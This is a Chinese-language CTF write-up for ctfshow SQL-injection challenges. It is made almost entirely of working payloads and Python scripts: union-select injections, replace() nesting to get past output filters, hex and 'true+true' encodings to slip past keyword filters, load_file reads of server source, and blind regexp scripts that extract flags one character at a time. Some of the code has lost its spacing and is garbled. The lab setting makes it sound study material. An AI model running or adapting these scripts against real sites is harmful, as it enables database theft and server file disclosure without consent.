-1' union select id,password from ctfshow_user2 where username = 'flag
# 现在执行的语句是 select username,password from user where username !='flag' and id = '-1' union select id,password from ctfshow_user2 where username = 'flag' limit 1;
i = 0 s = f"replace(password,{i},'{chr(ord(str(i)) + 55)}')" for i inrange(1,10): s = f"replace({s},{i},'{chr(ord(str(i)) + 55)}')" print(s)
payload:
-1'union select 'a',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,0,'g'),1,'h'),2,'i'),3,'j'),4,'k'),5,'l'),6,'m'),7,'n'),8,'o'),9,'p') from ctfshow_user4--+
现在使用脚本还原payload:
flag = 'ctfshow{fgggaeje-lljd-kkjd-ojoo-akhdefbmdlbb}'
for i inrange(10): flag = flag.replace(chr(ord(str(i)) + 55), str(i)) print(flag)
flagstr = "{-abcdefghijklmnopqrstuvwxyz0123456789}" flag = ""
for i inrange(0, 40): for x in flagstr: data = { "tableName": "`ctfshow_user`where`pass`regexp(\"ctfshow{}\")".format(flag + x) } response = requests.post(url, data=data) time.sleep(0.3)
if response.text.find("user_count = 1;") > 0: print("{} is right".format(x)) flag += x break else: print("{} is wrong".format(x)) continue print(flag) # {ed3cafbe-3c08-4f03-a681-00caea535ae4}
select count(*) from user group by username having username='flag' select count(*) from user group by username having username regexp(0x666c6167) # flag的十六进制
可以得到payload:
POST: tableName=ctfshow_user group by pass having pass regexp(0x...)
转换0x的函数:
# 官方的 defstr2hex(str): a = "" for i instr: a +=hex(ord(i)) return a.replace("0x","") # 换一种也行 defstr2hex(input_str): hex_list = [] for char in input_str: hex_list.append(hex(ord(char))[2:]) # 直接取 '0x' 后的部分 return''.join(hex_list)
稍微改一下官方wp:
# @email: h1xa@ctfer.com # @link: https://ctfer.com import requests import time
defstr2hex(input_str): hex_list = [] for char in input_str: hex_list.append(hex(ord(char))[2:]) # 直接取 '0x' 后的部分 return''.join(hex_list)
defmain(): flag = "" for i inrange(0, 40): for x in flagstr: data = { "tableName": "ctfshow_user group by pass having pass regexp(0x63746673686f77{})".format(str2hex(flag + x)) } response = requests.post(url, data=data) time.sleep(0.3)
if response.text.find("user_count = 1;") > 0: print("{} is right".format(x)) flag += x break else: print("{} is wrong".format(x)) continue print(flag)
url = 'http://e5df6fcd-a811-4d47-a7d4-4e57d70037df.challenge.ctf.show/select-waf.php' payload = 'ctfshow_user group by pass having pass like(concat({}))' flag = 'ctfshow{'
defcreateNum(n): num = 'true' if n == 1: return'true' else: for i inrange(n - 1): num += "+true" return num
defcreateStrNum(c): str = '' str += 'chr(' + createNum(ord(c[0])) + ')' for i in c[1:]: str += ',chr(' + createNum(ord(i)) + ')' returnstr
url = "http://c9ec4901-3538-48f2-9ce5-4aa9fc7b17d1.challenge.ctf.show/api/index.php" str = "{}-0123456789abcdefghijklmnopqrstuvwxyz" flag = "ctfshow{"
for i inrange(0, 100): for j instr: result = flag + j data = { "username": "if(load_file('/var/www/html/api/index.php')regexp('{}'),0,1)".format(result), "password": 0 } res = requests.post(url=url, data=data) ifr"\u5bc6\u7801\u9519\u8bef"in res.text: flag += j print(flag) if j == "}": exit() break # ctfshow{7f8b065e-9817-4ae2-a14d-e39615b7ecae}
from requests import post from string import digits, ascii_lowercase
url = 'http://591b6da2-b965-4ff3-a8f4-826f177ed92d.challenge.ctf.show/api/' # 数据库值: ctfshow_web # payload = 'admin\' and (select database()) regexp \'{}\' #' # 表名: ctfshow_fl0g # payload = 'admin\' and (select group_concat(table_name) from information_schema.tables where table_schema = database()) regexp \'{}\' #' # 字段: id,f10g # payload = 'admin\' and (select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = \'ctfshow_fl0g\') regexp \'{}\' #' # 拿到flag: ctfshow{f8302835-ac04-49e8-ba2c-4ee474890ac4} payload = 'admin\' and (select f1ag from ctfshow_fl0g) regexp \'{}\' #' flag = 'ctfshow{' # flag需要修改, 不能留空
if __name__ == '__main__': whileTrue: for c in'-}_' + digits + ascii_lowercase: resp = post(url, {'username': payload.format(flag + c), 'password': '123'}) if'密码错误'in resp.json().get('msg'): flag += c print(flag) if c == '}': exit() break